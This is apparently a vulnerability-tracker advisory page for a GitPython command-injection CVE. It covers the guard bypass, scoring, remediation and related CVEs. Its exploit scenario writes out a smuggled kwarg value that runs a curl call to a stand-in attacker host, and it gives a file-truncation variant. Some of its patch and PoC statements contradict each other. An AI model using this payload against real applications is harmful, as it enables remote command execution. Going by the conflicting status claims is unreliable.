Skip to main content

GitPython EUVDEUVD-2026-57794

| CVE-2026-73625 HIGH
OS Command Injection (CWE-78)
2026-08-13 VulnCheck GHSA-pjjh-f8rp-rjv3
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to application accepting git operation kwargs
  2. Delivery
    Supply crafted single-char kwarg with smuggled --upload-pack value
  3. Exploit
    check_unsafe_options validates key only, bypass succeeds
  4. Execution
    transform_kwarg emits two argv tokens including --upload-pack
  5. Persist
    Git subprocess parses and executes attacker-supplied command
  6. Impact
    Arbitrary OS command runs as host process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target application must pass externally-influenced kwargs - in the form of Python keyword arguments - to at least one of the eight affected GitPython methods: clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive. The kwarg must use a single-character key (e.g., 'n', 'g') whose value contains the smuggled option token. The default configuration (allow_unsafe_options=False) is vulnerable; no non-default setting is required to trigger the bypass. CVSS PR:L indicates the attacker must hold some authenticated or credentialed standing within the consuming application - pure anonymous internet access is insufficient unless the application itself exposes an unauthenticated git-operation endpoint. Applications that construct all GitPython kwargs from hardcoded values and never incorporate external input are not exploitable regardless of version.

Impact

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately reflects a network-reachable, low-complexity flaw requiring only low-privilege access - consistent with the attack profile of an authenticated API user or CI pipeline actor who can supply kwargs. No EPSS score was provided in the intelligence, so probabilistic exploitation rate cannot be quantified; however, the presence of a functional, step-verified proof-of-concept in the GHSA advisory significantly elevates practical exploitability beyond what EPSS would capture for a newly-disclosed CVE. No CISA KEV listing exists at time of analysis, meaning confirmed in-the-wild exploitation is not yet documented, but the simplicity of the exploit and the breadth of affected methods (eight distinct git operations) make opportunistic targeting likely once the advisory achieves wider distribution. The primary real-world risk concentrator is any application that accepts user-controlled git options and proxies them to GitPython - CI/CD platforms, code hosting services, and git management dashboards are archetypal high-risk deployments. Applications that exclusively use hardcoded kwargs are not exposed.

Exploit ScenarioDerived

An attacker with access to a web application that proxies git clone or fetch operations - such as a CI pipeline trigger or repository mirror API - submits a request containing n='--upload-pack=curl http://attacker.com/$(id);git-upload-pack' as a kwarg. The application forwards this dict to Repo.clone_from; the guard validates only '-n' (the key), allows it, and the subprocess receives '--upload-pack=curl...' as a separate argv token, executing the out-of-band callback as the service account. A file-write variant using iter_commits with g='--output=/path' achieves arbitrary file truncation. A fully verified proof-of-concept for both scenarios is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.

RemediationAI

Upgrade GitPython to version 3.1.54, which contains the fix introduced via PR #2180 (https://github.com/gitpython-developers/GitPython/pull/2180) and commit e8d0fbf774d1f6baa3b481adfe48bd262e43b453. Note that the patch is confirmed as merged upstream but the released patched version should be verified via PyPI before deployment. If an immediate upgrade is blocked, the most effective compensating control is to audit every call site where kwargs are derived from external input and replace dynamic kwarg construction with an explicit allowlist of safe, hardcoded option keys; disallowing any caller-controlled single-character kwarg values eliminates the smuggling vector without requiring library changes, though this requires application-level code review and may break legitimate workflows. Additionally, running the git subprocess under a restricted OS user with no write access to sensitive paths limits blast radius if exploitation occurs. The vendor advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3.

Affected VersionsENISA

GitPython 0 <3.1.54

Affected Packages

pypi gitpython fix: 3.1.54

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython (CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:*) is a Python library that wraps git subprocess calls. The guard introduced to prevent command injection, check_unsafe_options, builds its candidate list via _option_candidates (cmd.py:1042-1046) using only kwarg keys - never values. When a single-character key like 'n' carries a value of '--upload-pack=<cmd>', the guard evaluates only '-n', which is absent from the denylist and passes cleanly. However, transform_kwarg (cmd.py:1600-1606) with split_single_char_options=True subsequently emits two distinct argv tokens: ['-n', '--upload-pack=<cmd>']. The git subprocess then parses the second token as an independent flag, triggering execution of the attacker-supplied command. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root class: user-supplied data traverses a validation gate that examines only a proxy of the data, not the data itself, before reaching an OS execution sink.

Know when Gitpython gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-reachable with low complexity; PR:L because application-level authenticated access is required; S:C because execution escapes the Python process into the host OS via git subprocess.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 13, 2026 - 13:01 EUVD
CVE Published
Aug 13, 2026 - 11:28 cve.org
HIGH 8.7

DescriptionCVE.org

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 pypi packages depend on gitpython (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.54.

Executive ViewAI

Why It Matters

GitPython contains an unpatched remote code execution vulnerability affecting development teams and CI/CD infrastructure. Any application using GitPython that processes external parameters or configuration is at risk of complete system compromise. With publicly available exploit code and no vendor patch currently available, immediate action is required to prevent compromise of source code repositories and development environments.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) implement strict input validation and whitelisting of all parameters from external sources; (2) run GitPython operations in isolated containers with restricted privileges; (3) apply network segmentation to limit lateral movement from compromised processes; (4) enable audit logging of all Git operations for anomaly detection and forensics.

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Prevalence
Medium
widely used Python git library in dev tooling and CI/CD
Data Quality
8 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w

CVE-2026-78676 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config

CVE-2026-67325 HIGH POC
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl

CVE-2026-42215 HIGH POC
8.8 May 07

Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via und

CVE-2026-67323 HIGH POC
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control

CVE-2026-78677 HIGH POC
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th

CVE-2026-67322 HIGH POC
8.7 Aug 01

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon

CVE-2026-78675 HIGH POC
8.6 Aug 25

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont

CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

CVE-2026-78679 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s

CVE-2026-78678 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a

CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy